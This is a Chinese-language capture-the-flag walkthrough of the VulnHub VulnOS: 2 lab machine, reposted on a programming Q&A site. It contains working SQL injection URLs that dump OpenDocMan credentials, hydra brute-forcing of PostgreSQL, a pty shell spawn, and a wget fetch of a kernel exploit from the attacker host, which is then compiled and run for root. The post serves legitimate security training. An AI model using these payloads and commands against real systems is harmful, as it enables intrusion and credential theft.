日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

vulnhub VulnOS: 2

發布時間:2024/1/1 编程问答 52 豆豆
生活随笔 收集整理的這篇文章主要介紹了 vulnhub VulnOS: 2 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

本文思路:

nmap端口掃描-->訪問網站搜集信息-->利用OpenDocMan v1.2.7的sql注入漏洞獲取webmin用戶的密碼-->webmin用戶ssh登錄搜集信息-->利用內核版本漏洞提權(或者 爆破postgresql用戶名密碼-->postgresql中獲得vulnosadmin的密碼-->通過vulnosadmin用戶目錄下的r00t.blend文件獲得root用戶密碼)

具體步驟:

前置步驟:arp-scan掃描得到靶機ip

攻擊機中輸入

sudo arp-scan -l

掃描到同網段ip,根據靶機MAC地址,可知本靶機ip為192.168.101.27

步驟1:nmap端口掃描

攻擊機上輸入以下命令,對靶機進行TCP全端口的掃描

sudo nmap -sS -A -p- 192.168.101.27

掃描出開放端口22(ssh),80(http),6667(irc,這個有點神奇,不知道后面會不會用到)

步驟2:登錄網頁收集信息

瀏覽器訪問:http://192.168.101.27/

進來之后是這樣的提示通過滲透website獲取root權限和flag

點擊上圖的website,來到? http://192.168.101.27/jabc/?

在這個站點四處逛逛,最后來到了documentation頁面:?http://192.168.101.27/jabc/?q=node/7

啥也沒有,就有點詭異

右鍵 查看頁面源代碼,發現隱藏的提示

根據上圖中的提示訪問:?http://192.168.101.27/jabcd0cs/

用戶名和密碼都是guest

在這個站點也翻了一遍沒發現啥特有用的,但注意到網站是用OpenDocMan v1.2.7創建的。

在exploit-db中查找OpenDocMan,找到一條版本符合的

OpenDocMan 1.2.7 - Multiple Vulnerabilities - PHP webapps Exploithttps://www.exploit-db.com/exploits/32075里面記錄了兩個問題,一個是sql注入,由于我們現在是guest用戶,可能可以利用這個獲得管理員賬戶和密碼;第二個是通過訪問控制漏洞使當前用戶獲取管理員權限,我沒用這個方法,但有小伙伴用這個方法也成功了。

步驟3:利用sql注入獲取管理員賬戶和密碼

那就試試sql注入吧:

瀏覽器訪問如下url,獲得當前數據庫名稱(其實這步沒啥必要)

http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,database(),3,4,5,6,7,8,9

?瀏覽器訪問如下url,獲得當前數據庫所有表名稱

http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()

瀏覽器訪問如下url,獲得當前數據庫表odm_user的所有列名稱。

特別注意,后端應該是過濾了引號,所以需要用十六進制編碼來表示表名。

http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_name=0x6f646d5f75736572 and table_schema=database()

瀏覽器訪問如下url,獲得當前數據庫表odm_user的列username和password的所有值

http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(concat(username,0x5e,password)),3,4,5,6,7,8,9 from odm_user

從上圖結果可知,這個站點有兩個用戶,一個是我們已知的guest,另一個叫webmin,可能是管理員。

拿webmin的密碼到md5解密網站上去解一下,得到webmin的密碼webmin1980

步驟4:網頁上的無效操作 TAT

拿webmin賬戶密碼登錄http://192.168.101.27/jabcd0cs/?

可以發現admin頁面http://192.168.101.27/jabcd0cs/admin.php

由于現階段的目標是getshell,且網站有上傳文件的功能,且之前嘗試上傳php文件沒有上傳成功,所以很有可能是需要用管理員賬戶修改上傳文件相關的配置。

點擊Edit file types進入http://192.168.101.27/jabcd0cs/filetypes.php?submit=update&state=2

點Add File Type進入http://192.168.101.27/jabcd0cs/filetypes.php?submit=AddNew?

之前上傳php文件的時候報的是不支持text/x-php,這里把text/x-php加上

來到http://192.168.101.27/jabcd0cs/add.php上傳php反彈shell文件

上傳成功

在??http://192.168.101.27/jabcd0cs/settings.php?submit=update&state=2?可以找到文件上傳路徑

訪問文件上傳路徑?http://192.168.101.27/jabcd0cs/uploads/?發現文件轉換為.dat了。所以如果想通過訪問php反彈shell文件獲得反彈shell,還需要找到一個本地文件包含漏洞,但是遍訪網站并沒有找到這個漏洞TAT……這條路就斷了

步驟5:getshell--用webmin賬號登錄ssh

用剛剛獲得的webmin賬號和密碼webmin1980登錄ssh,登錄成功,獲得shell

步驟6:根據內核版本提權

查看靶機內核版本

uname -a?

在exploit-db上搜索3.13.0,找到一個提權腳本

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation - Linux local Exploithttps://www.exploit-db.com/exploits/37292把這個腳本下載到攻擊機上,攻擊機上開http服務

python -m SimpleHTTPServer 7777

把這個提權腳本從攻擊機下載到靶機上

wget http://192.168.101.25:7777/37292.c

在靶機上編譯

gcc -o 37292 37292.c

?執行

./37292

成功提權?

輸入如下命令,獲得交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

找到flag?

步驟7:另一種提權方法:通過另一個用戶提權

其實到上一步這個靶機就可以結束了,但打靶機總不能老用內核提權吧,太沒勁了。

在vulnhub上看到一個挺復雜的提權方法,跟著學習一下

g0blin Research: VulnOS 2 VulnHub Writeuphttps://g0blin.co.uk/vulnos-2-vulnhub-writeup/https://download.vulnhub.com/media/vulnos2/VulnOSv2%20Walkthrough%20-%20c4b3rw0lf.pdfhttps://download.vulnhub.com/media/vulnos2/VulnOSv2%20Walkthrough%20-%20c4b3rw0lf.pdf(1)用webmin賬號密碼ssh登錄之后,首先切換到上一級目錄,發現還有一個用戶目錄vulnosadmin,這個目錄webmin是沒有權限的。

(2)再進到webmin目錄下,解壓?post.tar.gz?

tar zxvf post.tar.gz

看解壓出來的結果,有很多hydra相關的文件,應該是要用到hydra爆破?

?

(3)查看靶機監聽狀態的端口

由于webmin沒有netstat -p選項的權限,所以得netstat兩遍:

第一遍

netstat -ant

第二遍

netstat -at

兩遍一對比,發現本地監聽的一個是mysql(3306端口),一個是postgresql(5432端口)。

由于上一步中解壓的文件夾名稱是post,所以合理推測要爆破的是postgresql(5432端口)。

(4)安裝hydra

進post目錄

cd post

輸入

./configure

再輸入

make

輸入如下命令,如果正常返回help結果,則表示hydra安裝成功

hydra --help

??

(5)拷貝密碼字典到靶機

攻擊機上進入/usr/share/metasploit-framework/data/wordlists目錄,開http服務

python -m SimpleHTTPServer 7777

靶機shell中輸入,下載字典postgres_default_pass.txt

wget http://192.168.101.25:7777/postgres_default_pass.txt

(6)用hydra爆破postgresql密碼

靶機shell輸入命令

./hydra -L postgres_default_pass.txt -P postgres_default_pass.txt localhost postgres

爆破結果如下圖,用戶名postgres,密碼postgres

(7) 進入postgresql,拿到vulnosadmin用戶的密碼

登錄postgresql

psql -h localhost -U postgres

查看所有數據庫

postgres=# \l

進入system數據庫

postgres=# \c system

列出system數據庫的表

system=# \dt

獲取system數據庫users表的內容(注意結尾分號,關鍵字大寫)

system=# SELECT * FROM users;

獲取到?vulnosadmin用戶的密碼c4nuh4ckm3tw1c3

(8)vulnosadmin用戶ssh登錄

ssh vulnosadmin@192.168.101.27

該用戶目錄下有一文件r00t.blend

(9)將r00t.blend拷貝到攻擊機

靶機vulnosadmin用戶shell開http服務,監聽8888端口

python -m SimpleHTTPServer 8888

攻擊機下載?r00t.blend文件

wget http://192.168.101.27:8888/r00t.blend

(10)攻擊機(kali)安裝blender

安裝snapd

sudo apt update sudo apt install snapd

啟動snapd

sudo systemctl start snapd

安裝blender

sudo snap install blender --classic

(11)用blender打開r00t.blend查看root用戶的密碼

打開blender

/snap/bin/blender

用blender打開r00t.blend,剛打開的時候就是一個四面不透風的方塊,右上角小框框里面選Text,這個時候就能看到文字了

上面的圖看不清到底什么字,左邊選Rotate,旋轉一下文字,可以看清是ab12fg//drg了,這個是root用戶的密碼

(12)root用戶ssh登錄

ssh root@192.168.101.27

輸入密碼?ab12fg//drg,成功登錄

總結

以上是生活随笔為你收集整理的vulnhub VulnOS: 2的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。